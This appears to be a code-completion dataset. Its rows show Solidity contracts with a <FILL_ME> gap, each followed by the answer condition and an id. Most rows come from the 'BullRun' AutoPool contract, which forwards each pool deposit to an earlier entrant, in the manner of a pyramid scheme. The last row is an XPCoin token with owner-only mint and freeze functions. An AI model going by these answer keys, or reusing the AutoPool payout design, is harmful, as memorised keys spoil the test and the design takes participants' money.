My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool5_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool5users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool5users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
require(<FILL_ME>)
require(msg.value == pool6_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=3)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool6users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool6users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool7_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool7users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool7users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool8_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool8users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool8users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool9_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool9users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool9users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool10_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool10users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool10users[msg.sender].isExist |
null | pragma solidity ^0.4.20;
contract tokenRecipient
{
function receiveApproval(address from, uint256 value, address token, bytes extraData) public;
}
contract XPCoin // XPCoin Smart Contract Start
{
/* Variables For Contract */
string public name; // Variable To Store Name
string public symbol; // Variable To Store Symbol
uint8 public decimals; // Variable To Store Decimals
uint256 public totalSupply; // Variable To Store Total Supply Of Tokens
uint256 public remaining; // Variable To Store Smart Remaining Tokens
address public owner; // Variable To Store Smart Contract Owner
uint public icoStatus; // Variable To Store Smart Contract Status ( Enable / Disabled )
address public benAddress; // Variable To Store Ben Address
address public bkaddress; // Variable To Store Backup Ben Address
uint public allowTransferToken; // Variable To Store If Transfer Is Enable Or Disabled
/* Array For Contract*/
mapping (address => uint256) public balanceOf; // Arrary To Store Ether Addresses
mapping (address => mapping (address => uint256)) public allowance; // Arrary To Store Ether Addresses For Allowance
mapping (address => bool) public frozenAccount; // Arrary To Store Ether Addresses For Frozen Account
/* Events For Contract */
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event TokenTransferEvent(address indexed from, address indexed to, uint256 value, string typex);
/* Initialize Smart Contract */
function XPCoin() public
{
}
modifier onlyOwner() // Create Modifier
{
require(<FILL_ME>)
_;
}
function () public payable // Default Function
{
}
function sendToMultipleAccount (address[] dests, uint256[] values) public onlyOwner returns (uint256) // Function To Send Token To Multiple Account At A Time
{
}
function sendTokenToSingleAccount(address receiversAddress ,uint256 amountToTransfer) public onlyOwner // Function To Send Token To Single Account At A Time
{
}
function setTransferStatus (uint st) public onlyOwner // Set Transfer Status
{
}
function changeIcoStatus (uint8 st) public onlyOwner // Change ICO Status
{
}
function withdraw(uint amountWith) public onlyOwner // Withdraw Funds From Contract
{
}
function withdraw_all() public onlyOwner // Withdraw All Funds From Contract
{
}
function mintToken(uint256 tokensToMint) public onlyOwner // Mint Tokens
{
}
function adm_trasfer(address _from,address _to, uint256 _value) public onlyOwner // Admin Transfer Tokens
{
}
function freezeAccount(address target, bool freeze) public onlyOwner // Freeze Account
{
}
function balanceOf(address _owner) public constant returns (uint256 balance) // ERC20 Function Implementation To Show Account Balance
{
}
function totalSupply() private constant returns (uint256 tsupply) // ERC20 Function Implementation To Show Total Supply
{
}
function transferOwnership(address newOwner) public onlyOwner // Function Implementation To Transfer Ownership
{
}
function _transfer(address _from, address _to, uint _value) internal // Internal Function To Transfer Tokens
{
}
function transfer(address _to, uint256 _value) public // ERC20 Function Implementation To Transfer Tokens
{
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Transfer From
{
}
function approve(address _spender, uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Approve
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) // ERC20 Function Implementation Of Approve & Call
{
}
